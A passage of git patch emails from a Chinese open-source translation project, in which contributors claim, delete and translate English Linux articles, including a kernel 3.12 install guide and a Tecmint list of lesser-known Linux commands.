-[12]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fdd-wrt.com%2Fwiki%2Findex.php%2FSupported_Devices&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[8]:http://arstechnica.com/business/news/2011/12/researchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars +[9]:http://arstechnica.com/business/news/2012/01/hands-on-hacking-wifi-protected-setup-with-reaver.ars +[10]:http://dd-wrt.com/ +[11]:http://code.google.com/p/reaver-wps/issues/detail?id=44 +[12]:http://dd-wrt.com/wiki/index.php/Supported_Devices [13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap [14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt [15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt From d7e9518dbb5a07628317970fd1db0c21c29891f0 Mon Sep 17 00:00:00 2001 From: geekpi Date: Thu, 5 Dec 2013 01:18:44 +0000 Subject: [PATCH 119/148] =?UTF-8?q?[Translating]=2010=20Lesser=20Known=20E?= =?UTF-8?q?ffective=20Linux=20Commands=20=E2=80=93=20Part=20IV?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/10 Lesser Known Effective Linux Commands – Part IV.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/sources/10 Lesser Known Effective Linux Commands – Part IV.md b/sources/10 Lesser Known Effective Linux Commands – Part IV.md index a5119c9545..934b74b56e 100644 --- a/sources/10 Lesser Known Effective Linux Commands – Part IV.md +++ b/sources/10 Lesser Known Effective Linux Commands – Part IV.md @@ -1,3 +1,7 @@ +Translating-----------------geekpi + + + 10 Lesser Known Effective Linux Commands – Part IV ================================================================================ Continuing the **Lesser Known** series, this fourth article of the series will let you know some useful **funny** and **animated** commands. Here we go into the practical session, without much theory. From e1c5af29c7cc922011b1af6908634de0720a0d8d Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 5 Dec 2013 09:48:45 +0800 Subject: [PATCH 120/148] =?UTF-8?q?=E6=B8=85=E9=99=A4=E8=BF=87=E6=9C=9F?= =?UTF-8?q?=E6=96=87=E7=AB=A0=E5=92=8C=E8=BF=87=E6=9C=9F=E9=A2=86=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...nterview with Ding Zhou of Ubuntu Tweak.md | 3 +- .../KDE vs GNOME- Settings, Apps, Widgets.md | 1 - ... Goose Chase Ends in Tie for Grand Prize.md | 39 -------- ....04 LTS Icon Theme Uses Origami Concept.md | 26 ----- ... Traits of the Best Software Developers.md | 97 ------------------- 5 files changed, 1 insertion(+), 165 deletions(-) delete mode 100644 sources/LinuxCon／CloudOpen Goose Chase Ends in Tie for Grand Prize.md delete mode 100644 sources/New Ubuntu 14.04 LTS Icon Theme Uses Origami Concept.md delete mode 100644 sources/Personality Traits of the Best Software Developers.md diff --git a/sources/Interview with Ding Zhou of Ubuntu Tweak.md b/sources/Interview with Ding Zhou of Ubuntu Tweak.md index ae3b7242de..f494518b22 100644 --- a/sources/Interview with Ding Zhou of Ubuntu Tweak.md +++ b/sources/Interview with Ding Zhou of Ubuntu Tweak.md @@ -1,4 +1,3 @@ -(translating by runningwater) Interview with Ding Zhou of Ubuntu Tweak ================================================================================ [Ubuntu tweak][1] is a well known application which allows Ubuntu users to tweak various aspects of their system. The founder of the project, Ding Zhou aka Tualatrix Chou, is talking to us about the nature and the usability of Ubuntu Tweak, the relation with Canonical and the future plans of the project. Enjoy @@ -89,6 +88,6 @@ via: http://www.unixmen.com/interview-with-ding-zhou-of-ubuntu-tweak/ 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 -译者：[runningwater](https://github.com/runningwater) 校对：[校对者ID](https://github.com/校对者ID) +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) [1]:http://ubuntu-tweak.com/ \ No newline at end of file diff --git a/sources/KDE vs GNOME- Settings, Apps, Widgets.md b/sources/KDE vs GNOME- Settings, Apps, Widgets.md index 54f407d5a9..9dbcc7697c 100644 --- a/sources/KDE vs GNOME- Settings, Apps, Widgets.md +++ b/sources/KDE vs GNOME- Settings, Apps, Widgets.md @@ -1,4 +1,3 @@ -(translating by flyingwitholdlady) KDE vs GNOME: Settings, Apps, Widgets ===================================== diff --git a/sources/LinuxCon／CloudOpen Goose Chase Ends in Tie for Grand Prize.md b/sources/LinuxCon／CloudOpen Goose Chase Ends in Tie for Grand Prize.md deleted file mode 100644 index c76477968f..0000000000 --- a/sources/LinuxCon／CloudOpen Goose Chase Ends in Tie for Grand Prize.md +++ /dev/null @@ -1,39 +0,0 @@ -LinuxCon/CloudOpen Goose Chase Ends in Tie for Grand Prize -================================================================================ -Hundreds of people raced to the finish in the first-ever LinuxCon/CloudOpen Goose Chase. From showing your cowsay to the coffee cup that fuels your Linux work, you - the community - showcased your competitive nature and passion for having fun. The competiton was fierce through the end, which resulted in a tie for Grand Prize for Round Two (round one wrapped up in October, and the [winners were announced][1] at LinuxCon and CloudOpen North America). Because there are two Grand Prize winners, we will not be awarding a First Prize. - -The winners of Round Two are: - -**Grand Prize: $500 Amazon Gift Card** - -**Daniel German**, Canada - -**Joao Paulo Rechi Vita**, Brazil - -![](http://www.linux.com/images/stories/714/jprvita.jpg) - -Joao works for the Nokia Institute of Technology. His latest Linux project was adding BlueZ 5 bluetooth support to PulseAudio on the Linux desktop. He's attended LinuxCon in Japan, North America and Europe this year. - -"I participated in the Goose Chase at LinuxCon North America and found it really fun, so when I was showing the pictures to my girlfriend back home I found the {online} Goose Chase and decided to join it as well. And as I expected, {it} was a lot of fun again, specially because this time some of the missions needed quite a bit of creativity to be accomplished." - -**Second Prize, $50 Amazon Gift Card** - -**Madalina-Ioana Alexe**, Romania - -Madalina-Ioana works for Intel Romania on Tizen and attended the Gluster Community Day this week at LinuxCon Europe. - -"I found it is a fun game, which is still suitable for geeks. It was a nice and funny experience and I found out that there are even more geeks like me." - -Congratulations to all our winners and thank you so much for participating in the Goose Chase! - -![](http://www.linux.com/images/stories/714/mada.jpg) - --------------------------------------------------------------------------------- - -via: http://www.linux.com/news/featured-blogs/185-jennifer-cloer/745263-linuxconcloudopen-goose-chase-ends-in-tie-for-grand-prize/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.linux.com/news/featured-blogs/200-libby-clark/737969-announcing-goose-chase-contest-winners-more-prizes-for-linuxcon-europe \ No newline at end of file diff --git a/sources/New Ubuntu 14.04 LTS Icon Theme Uses Origami Concept.md b/sources/New Ubuntu 14.04 LTS Icon Theme Uses Origami Concept.md deleted file mode 100644 index 6a712f02fe..0000000000 --- a/sources/New Ubuntu 14.04 LTS Icon Theme Uses Origami Concept.md +++ /dev/null @@ -1,26 +0,0 @@ -New Ubuntu 14.04 LTS Icon Theme Uses Origami Concept -================================================================================ -![](http://i1-news.softpedia-static.com/images/news2/New-Ubuntu-14-04-LTS-Icon-Theme-Uses-Origami-Concept-403061-2.png) - -**Ubuntu 14.04 LTS has a good chance of getting a new icon theme, but there's one very interesting concept integrated in the design, and that is an origami motif.** - -When designers begin to make original artwork for operating systems, they usually start from scratch or they integrate the current trend in their work. Ubuntu designers have managed to produce something unique, that doesn’t follow the overall trend, and which is inspired by art. - -In the Ubuntu 14.04 icon theme presentation showed during the Ubuntu Developer Summit, visual designer James Matthieu explained that they used an origami concept to illustrate various components. - -“The default file shape represent a sheet of paper using the origami effect to maintain consistency with the style of some of the application icon,” [said][1] James Matthieu during the presentation. - -This is not the first time that a folded corner is used for folders or files, but if you look close enough the folding mark of the “paper” is also present in the final form. - -We hope that the new icon theme will make it because it looks awesome. You can see more details about the new icon in [our original report][2]. - --------------------------------------------------------------------------------- - -via: http://news.softpedia.com/news/New-Ubuntu-14-04-LTS-Icon-Theme-Uses-Origami-Concept-403061.shtml - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.youtube.com/watch?v=0AEvSIX41lk&feature=share -[2]:http://news.softpedia.com/news/Ubuntu-14-04-LTS-to-Get-Stunning-Icon-Theme-and-They-re-Not-Flat-402712.shtml \ No newline at end of file diff --git a/sources/Personality Traits of the Best Software Developers.md b/sources/Personality Traits of the Best Software Developers.md deleted file mode 100644 index a253070895..0000000000 --- a/sources/Personality Traits of the Best Software Developers.md +++ /dev/null @@ -1,97 +0,0 @@ -Personality Traits of the Best Software Developers -================================================================================ -I come from the world of corporate software development. It may not be the most glamorous side of software (it’s nowhere near as interesting as [shrinkwrap startups][1] or those fancy-dancy [Web 2.0][2] companies that show up in your browser every time you mistype a domain name), but it’s stable, pays well, and has its own set of challenges that other types of software development know nothing about. - -For example, when was the last time someone working on the next version of Halo spent three weeks trying to gather people from accounting, marketing, product management, and their call center in order to nail down requirements that would likely change in 2 months once they’ve delivered the software? - -Or when was the last time someone at [37Signals][3] sat through back to back weeks of [JAD sessions][4]? - -In this world of corporate development I’ve known a few phenomenal developers. I’m talking about those A people whom you would quit your job for to go start a company. And the the more I looked at what makes them so good, the more I realized they all share a handful of personality traits. Well, not exactly a handful, more like four. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/chess_game.jpg) - -### Pessimistic ### - -Admiral Jim Stockdale was the highest ranking US military officer imprisoned in Vietnam. He was held in the “Hanoi Hilton” and repeatedly tortured over 8 years. Stockdale told Jim Collins, author of [Good to Great][5], “You must never confuse faith that you will prevail in the end, which you can never afford to lose, with the discipline to confront the most brutal facts of your current reality, whatever they might be.” - -After his release, Stockdale became the first three-star officer in the history of the navy to wear both aviator wings and the Congressional Medal of Honor. - -Stockdale was a pessimist in the short-term because he faced the brutal facts of his reality, but was an optimist in the long-term because of his confidence that he would prevail in the end. - -No one anticipates a catastrophic system failure by looking on the bright side. The best developers I know are experts at finding points of failure. You’ll often hear them quipping “What could possibly go wrong?” after someone makes a suggestion to handle a critical data transfer via nightly FTP over a dial-up connection. The best developers anticipate headaches that other developers never think of, and do everything within their power to avoid them. - -On the flip side, great developers are optimistic, even downright confident, about their overall success. They know that by being a pessimist in the short-term, their long-term success is ensured. Just like Jim Stockdale, they realize that by confronting the brutal facts of their current reality they will prevail in the end. - -### Angered By Sloppy Code ### - -Paul Graham nailed it when [he said][6] “…people who are great at something are not so much convinced of their own greatness as mystified at why everyone else seems so incompetent.” - -The worst nightmare for a great developer is to see someone else’s software gasping for air while bringing the rest of the system to its knees. It’s downright infuriating. And this isn’t limited to code; it can be bad installation packages, sloppy deployments, or a misspelled column name. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/paris_sewers.jpg) - -Due to the life and death nature of their products, NASA designs zero-defect software systems using a process that has nearly eliminated the possibility for human error. They’ve added layer after layer of checks and balances that have resulted from years of finding mistakes and figuring out the best way to eliminate them. NASA is the poster child for discovering the source of a mistake and modifying their process to eliminate the possibility of that mistake ever happening again. And it works. A quote from [this Fast Company article][7] on NASA’s development process says - -“What makes it remarkable is how well the software works. This software never crashes. It never needs to be re-booted. This software is bug-free. It is perfect, as perfect as human beings have achieved. Consider these stats: the last three versions of the program — each 420,000 lines long-had just one error each. The last 11 versions of this software had a total of 17 errors. Commercial programs of equivalent complexity would have 5,000 errors.” - -I’m not saying we have to develop to this standard, but NASA knows how to find and fix bugs, and the way they do it is to find the source of every problem. - -Someone who fixes a problem but doesn’t take the time to find out what caused it is doomed to never become an expert in their field. Experience is not years on the job, it’s learning to recognize a problem before it occurs, which can only be done by knowing what causes it in the first place. - -Developers who don’t take the time to find the source often create sloppy solutions. For hundreds of examples of sloppy solutions visit [The Daily WTF][8]. Here are a few I’ve seen in my career: - -- An assembly is deleted from a server each time it’s rebooted. You could create a custom script to re-copy that assembly to the server after each reboot, or find out why the assembly is being deleted in the first place. -- An image-manipulation script is hogging processor power for minutes at a time when it should run in under 10 seconds. You could make the script run at 2am when no one will notice, or you can take the time to step through the code and figure out where the real problem is. -- A shared XML file is being locked by a process, causing other processes to fail when they try to open it. You could make several copies of the XML file so each process has its own, or you could troubleshoot the file access code to find out why it’s locking the file. -- And on and on… - -### Long Term Life Planners ### - -This one was a little puzzling for the longest time, but I think I’ve finally put it together. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/brown_guitar.jpg) - -People who think many years down the road in their personal life have the gift to think down the road during development. Being able to see the impacts of present-day decisions is paramount to building great software. The best developers I know have stable family lives, save for retirement, own their own home, and eat an apple a day (ok, maybe not that last one). People who have spastic home-lives and live paycheck to paycheck can certainly be good developers, but what they lack in life they tend to lack in the office: the ability to be disciplined, and to develop and adhere to a long-term plan. - -### Attention to Detail ### - -I’ve known smart developers who don’t pay attention to detail. The result is misspelled database columns, uncommented code, projects that aren’t checked into source control, software that’s not unit tested, unimplemented features, and so on. All of these can be easily dealt with if you’re building a Google mash-up or a five page website. But in corporate development each of these screw-ups is a death knell. - -So I’ll say it very loud, but I promise I’ll only say it once: - -**I have never, ever, ever seen a great software developer who does not have amazing attention to detail.** - -I worked with a programmer back in school who forced anyone working with him to indent using two spaces instead of tabs. If you gave him code that didn’t use two spaces he would go through it line-by-line and replace your tabs with his spaces. While the value of tabs is not even a question, (I’ve long-chided him for this anal behavior) his attention to such a small detail has served him well in his many years designing chips at Intel. - -### So There You Have It ### - -The next time you’re interviewing a potential developer, determine if she has the four personality traits I’ve listed above. Here are a few methods I’ve found useful: - -- Ask if they’re an optimist or a pessimist -- Ask about a time when they found the source of a problem -- Find out if they save for retirement (you can work this in during discussions of your company’s retirement plan) -- Make an obvious misspelling in a short code sample and ask if they see anything wrong - -We know from [Facts and Fallacies of Software Engineering][9] that the best programmers are up to [28 times better][10] than the worst programmers, making them the best bargains in software. Take these four traits and go find a bargain (or better yet, make yourself into one). - -If you liked this article you’ll also like my article [Timeline and Risk: How to Piss off Your Software Developers][11]. - --------------------------------------------------------------------------------- - -via: http://www.softwarebyrob.com/2006/08/20/personality-traits-of-the-best-software-developers/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.joelonsoftware.com/ -[2]:http://www.econsultant.com/web2/ -[3]:http://www.37signals.com/ -[4]:http://expertanswercenter.techtarget.com/eac/knowledgebaseAnswer/0,295199,sid63_gci986072,00.html -[5]:http://www.amazon.com/gp/redirect.html?link_code=ur2&tag=softwarbyrob-20&camp=1789&creative=9325&location=%2Fgp%2Fproduct%2F0060794410%2Fsr%3D8-3%2Fqid%3D1155789849%2Fref%3Dpd_bbs_3%3Fie%3DUTF8 -[6]:http://www.paulgraham.com/gh.html -[7]:http://www.fastcompany.com/online/06/writestuff.html -[8]:http://www.thedailywtf.com/ -[9]:http://www.amazon.com/gp/redirect.html?link_code=ur2&tag=softwarbyrob-20&camp=1789&creative=9325&location=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fproduct%2F0321117425%2Fsr%3D8-1%2Fqid%3D1154642314%2Fref%3Dpd_bbs_1%3Fie%3DUTF8 -[10]:http://safari.oreilly.com/0321117425/ch01lev1sec1 -[11]:http://www.softwarebyrob.com/articles/Timeline_and_Risk_Piss_Off_Your_Software_Developers.aspx From 7227857a6cd32569d24365eaa42826e5b45a56a9 Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 5 Dec 2013 09:53:59 +0800 Subject: [PATCH 121/148] =?UTF-8?q?=E6=94=B6=E5=9B=9E=E8=BF=87=E6=9C=9F?= =?UTF-8?q?=E9=A2=86=E7=94=A8=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/10 basic examples of linux netstat command.md | 1 - .../Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md | 1 - 2 files changed, 2 deletions(-) diff --git a/sources/10 basic examples of linux netstat command.md b/sources/10 basic examples of linux netstat command.md index 73e17b72dc..b913545ce1 100644 --- a/sources/10 basic examples of linux netstat command.md +++ b/sources/10 basic examples of linux netstat command.md @@ -1,4 +1,3 @@ -[DONING]BY FingerLiu 10 basic examples of linux netstat command ================================================================================ ### Netstat ### diff --git a/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md b/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md index 6abfe2f68b..6dfb636adf 100644 --- a/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md +++ b/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md @@ -1,4 +1,3 @@ -occupied by rogetfan Daily Ubuntu Tips–Change The Language You Use In Ubuntu ================================================================================ Ubuntu, a modern and powerful operating system also allows you to use your desktop in dozens of other languages. By default, there are few language packs installed when you first setup Ubuntu. If you want Ubuntu to support more languages, you must install additional language packs. Not all languages are support, but most languages that are in used and written are supported. This brief tutorial is going to show you how to make this happen. From 1c88599f53584f7a64f38bc414c31aca5fe83ee0 Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 5 Dec 2013 10:01:38 +0800 Subject: [PATCH 122/148] =?UTF-8?q?=E5=88=A0=E9=99=A4=E5=B7=B2=E5=81=9A?= =?UTF-8?q?=E9=80=89=E9=A2=98=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...stall Linux Kernel 3.12 in Ubuntu 13.10.md | 39 ------------------- 1 file changed, 39 deletions(-) delete mode 100644 sources/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md diff --git a/sources/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md b/sources/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md deleted file mode 100644 index 77538bed5a..0000000000 --- a/sources/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md +++ /dev/null @@ -1,39 +0,0 @@ -How to Install Linux Kernel 3.12 in Ubuntu 13.10 -================================================================================ -Ubuntu 13.10 users don't have to look with envy at the new Linux kernels that are released, and they can update their systems with relative ease. - -Canonical is usually sticking with one Linux kernel for an entire development cycle. For example, Ubuntu 13.10 is based on Linux kernel 3.11, but now a new stable Linux kernel, 3.12, has been launched. - -Ubuntu users will have to wait until the release of the 14.04 LTS to get a newer Linux kernel, but they can also install, until then, new versions. - -We have to warn you from the get-go. Canonical does not recommend updating your Linux kernel to other versions than the ones provided on official channels. This is not a totally safe procedure and you might have problems afterwards, even system failures. On the other hand, you might get better performance from your system. - -The kernel you are about to download is from Canonical, which means that it is already in a .deb format. You won't have to compile it yourself. Open a terminal, navigate to the Downloads folder, and enter the following commands: - - wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb - - wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb - -You can also download the 32-bit version, if you have a 32-bit operating system. Just replace the 64-bit links with the ones for 32-bit, which can be found [here][1]. - -Now you will have to run those .deb, just like any other program. In the same terminal that you used to download the packages, write the following commands (you will need root access to make this work): - - sudo dpkg -i linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb - sudo dpkg -i linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb - -After the process is finished, you will have to restart the system and voila, the new Linux kernels are in place. The good news is that the old ones are still there and, if you need to delete 3.12, all you have to do is use a very well-known command. - - sudo apt-get purge linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb - sudo apt-get linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb - -One thing you have to remember. The names of the files shown above will change pretty soon. If the downloads are not working, you will have to update the new links. Enjoy Linux kernel 3.12! - --------------------------------------------------------------------------------- - -via: http://news.softpedia.com/news/How-to-Install-Linux-Kerrnel-3-12-in-Ubuntu-13-10-397013.shtml - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/ \ No newline at end of file From 961240e0195a82b8bac832535b17e549bbb32dbb Mon Sep 17 00:00:00 2001 From: geekpi Date: Thu, 5 Dec 2013 02:12:32 +0000 Subject: [PATCH 123/148] =?UTF-8?q?[Translated]=2010=20Lesser=20Known=20Ef?= =?UTF-8?q?fective=20Linux=20Commands=20=E2=80=93=20Part=20IV?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...nown Effective Linux Commands – Part IV.md | 73 +++++++++---------- 1 file changed, 35 insertions(+), 38 deletions(-) rename {sources => translated}/10 Lesser Known Effective Linux Commands – Part IV.md (52%) diff --git a/sources/10 Lesser Known Effective Linux Commands – Part IV.md b/translated/10 Lesser Known Effective Linux Commands – Part IV.md similarity index 52% rename from sources/10 Lesser Known Effective Linux Commands – Part IV.md rename to translated/10 Lesser Known Effective Linux Commands – Part IV.md index 934b74b56e..98335be4c4 100644 --- a/sources/10 Lesser Known Effective Linux Commands – Part IV.md +++ b/translated/10 Lesser Known Effective Linux Commands – Part IV.md @@ -1,10 +1,7 @@ -Translating-----------------geekpi - - - -10 Lesser Known Effective Linux Commands – Part IV +10个鲜为人知的Linux命令(4) ================================================================================ Continuing the **Lesser Known** series, this fourth article of the series will let you know some useful **funny** and **animated** commands. Here we go into the practical session, without much theory. +继续我们的"鲜为人知"系列，本系列的第四篇会让你了解一些**有趣** 又 **动态**的命令。这里我们进入实际的教程，没有很多理论。 ![](http://www.tecmint.com/wp-content/uploads/2013/11/10-Lesser-Known-Effective-Commands-.png) @@ -12,17 +9,17 @@ Continuing the **Lesser Known** series, this fourth article of the series will l - [10 Lesser Known Linux Commands – Part 2][2] - [10 Lesser Known Commands for Linux – Part 3][3] -In the fourth article of this series which includes few other lesser known Linux commands, worth knowing. Might be you’re already aware of these commands, no doubt you’re an experienced Linux user and loves exploration. +本系列的第四篇包含了另外的鲜为人知的Linux命令，这些值得去了解。也许你已经知道了这些命令，毫无疑问你是一个有经验的Linux用户并且乐于探索。 ### 32. strace Command ### -The **strace** is a debugging tool which is used primarily for troubleshooting purpose in Linux. It might not be installed by default in your system and you may need to **apt** or **yum** the required package. +**strace**是一个调试工具并被主要用于Linux的故障排除。它可能在你的系统内没有默认安装，你可能需要**apt** 或者 **yum**安装所需要的包。 -Trace a command execution using strace command: +使用strace命令追踪一个命令的执行。 root@tecmint [~]# strace pwd -#### Sample Output #### +#### 示例输出 #### execve("/bin/pwd", ["pwd"], [/* 29 vars */]) = 0 brk(0) = 0x728000 @@ -44,56 +41,56 @@ Trace a command execution using strace command: mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de6000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de5000 .... +**strace**命令接收大量的参数和选项，请参考man页来获取详细信息。 -The **strace** command accepts a lot of arguments and have many options. Refer to man page for detailed information. +### 33. disown -a && exit 命令 ### -### 33. disown -a && exit Command ### +大多数系统管理员使用[screen 命令][4]来控制运行在终端后台的作业。让我们假设一下如果你有一个长期运行的作业并想要将它从终端中**分离**，你可以用screen命令来这么做。但是如果你不知道如何使用screen，那么disown可以用来救急。 -Most of the system administrators use [screen command][4] to control jobs running in the terminal background. Let’s say if you having a long running job and want to **detach** from the terminal, you use screen command to do it. But what if you don’t know how to use screen, here comes disown command to rescue. +disown命令可以在后台持续运行作业即使你关闭了终端会话。disown命令的语法是: -The disown command is used to run the jobs continuously in the background even after you closing the terminal session. The syntax of the disown command is: root@tecmint [~]# Command; disown -a && exit -To detach again the long running job in the terminal, use the **jobs** command to find the job number and then use disown **%n** where **n** is the job number. To verify actually the job is running use **ps** or [top command][5]. The **nohup** command is an alternative to the disown command. +为了在终端中再次分离长期运行的作业，使用**jobs**命令来找出作业号，接着使用disown **%n**，这里的**%n**是作业号。为了验证作业确实在运行，使用**ps** 或者 [top 命令][5]。**nohup**命令也是一个disown命令的替代品。 -### 34. getconf LONG_BIT Command ### +### 34. getconf LONG_BIT 命令 ### -The above command shows your machine architecture if it is **32** bit or **64** bit? +上面的命令能显示你的机器架构是**32** bit 或者 **64** 位? root@tecmint [~]# getconf LONG_BIT 32 -- [Download Linux Command Line Cheat Sheet][5] +- [下载Linux命令备忘单][5] -### 35. Display Date on the Terminal ### +### 35. 终端上显示日期 ### -The below command is a combination of several commands, better say it a script. For a person working at shell or terminal, without GUI seeing current system date is tedious job. You have to type ‘**date**‘ command to check today’s date. +下面的命令是几个命令的集合，确切地说是一个脚本。对于在shell或者终端下工作的人来说，没有GUI界面看到当前系统日期是一个乏味的工作。你可以用‘**date**‘命令查看今天的日期。 -Just execute the below command on you prompt and see the **date** and **time** on the above right corner of terminal. +只要在提示符后输入如下的命令你就会在终端的右上角看到**日期**和**时间**。 root@tecmint [~]# while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done & -![Show Date in Terminal](http://www.tecmint.com/wp-content/uploads/2013/11/Date.jpg) +![在终端下显示日期](http://www.tecmint.com/wp-content/uploads/2013/11/Date.jpg) -### 36. convert Command ### +### 36. convert 命令 ### -While writing tutorial, I usually need to produce output, many a times in image format. The above command combination does this for me. Say I need the output of tree command (for **/etc/x11** directory) in image format. What I did at terminal was: +在写教程的时候，我经常需要生成输出，很多时候是图片格式。上面的命令集合并不适合我。假设我需要tree命令的图片格式的输出(对 **/etc/x11** 目录 )。 root@tecmint:/etc/X11# tree | convert label:@- /home/avi/tree.png -The output of the above command can be seen at the specified location (here, home directory of mine) with the file name specified as **tree.png**. +上面命令的输出可以在一个特定的位置(这里是我的家目录)下看到，文件名是**tree.png**。 ### 37. watch -t -n1 “date +%T|figlet” ### -Remember our description of “**figlet**” command in our earlier article “[20 Funny Commands of Linux][7]”. This command was very cool, this time we will be pipelining ‘**figlet**‘ to show animated digital clock in the terminal. +记住“**figlet**”命令在我们早期的文章“[20 Funny Commands of Linux][7]”中的描述。这个命令非常酷，这次我们会通过管道输出到‘**figlet**‘而在终端上显示一个动画电子钟。 -Just check-out yourself, remember you must have **figlet** installed on the system, do **apt** or **yum** to install the required package. +你自己检查一下，记住你必须已经在系统上安装了**figlet**，用**apt** 或者 **yum**安装所需要的包。 root@tecmint [~]# watch -t -n1 "date +%T|figlet" -#### Sample Output #### +#### 示例输出 #### _ ___ ____ ___ _____ _ _ Fri Nov 29 10:29:34 GMT / |/ _ \ _|___ \ / _ \ _|___ /| || | @@ -101,9 +98,9 @@ Just check-out yourself, remember you must have **figlet** installed on the syst | | |_| |_ / __/ \__, |_ ___) |__ _| |_|\___/(_)_____| /_/(_)____/ |_| -### 38. host and dig Commands ### +### 38. host and dig 命令 ### -Although “**host**” and “**dig**” command is not that much lesser known, still not very frequently used. The host command is **DNS** lookup utility. +虽然“**host**” 和 “**dig**”命令不那么鲜为人知，但是仍并不常被使用。host命令是**DNS**查询工具。 root@tecmint [~]# host www.google.com @@ -123,17 +120,17 @@ Although “**host**” and “**dig**” command is not that much lesser known, ;; Got answer: ;; ->>HEADER< -### 39. dstat Command ### +### 39. dstat 命令 ### -The **dstat** is a versatile tool, that generates statistics relating to system resource. By default your system might not have ‘**dstat**‘ installed. Do a **apt** or **yum** to install ‘**dstat**‘ before using this very colorful and description system resource generator. +**dstat**是一个多用的工具，它会依据系统资源生成统计。默认上你的系统可能没有安装‘**dstat**‘。在使用这个多彩的描述系统信息的生成器前使用**apt** 或者 **yum**来安装。 root@tecmint [~]# dstat -![dstat command](http://www.tecmint.com/wp-content/uploads/2013/11/dstat.jpeg) +![dstat 命令](http://www.tecmint.com/wp-content/uploads/2013/11/dstat.jpeg) -### 40. bind -p Command ### +### 40. bind -p 命令 ### -The ‘**bind -p**‘ command will show all the shortcuts available for **BASH** shell. +‘**bind -p**‘会显示所有的**BASH** shell可用的快捷方式。 root@tecmint [~]# bind -p @@ -164,19 +161,19 @@ The ‘**bind -p**‘ command will show all the shortcuts available for **BASH** ### 41. touch /forcefsck ### -The above command will create an empty folder '**forcefsck**', under root directory. This will force Linux System to check the file system on the very next boot. +下面的命令会在root目录下创建一个空的文件夹'**forcefsck**'。这会强制Linux系统在下次启动时检查文件系统。 root@tecmint [~]# touch /forcefsck -hat’s all for Now. You People are loving these ‘**Lesser Known Commands**‘ and hence we are continuing the series, the next article of this series will be available very soon. +今天这些就是全部。因为你们爱‘**鲜为人知的命令**‘ ,因此我们将继续这个系列,本系列的下一篇文章将很快发布。 -Till then stay tuned and connected to **Tecmint**. Don’t forget to give your valuable feedback in our comment section. Do a favor to us, Like and share us and help us spread. +不要走开继续关注**Tecmint**。不要忘记在评论栏里留下你们有价值的反馈。帮我们一个忙，喜爱、分享我们的文章，并帮我们传播。 -------------------------------------------------------------------------------- via: 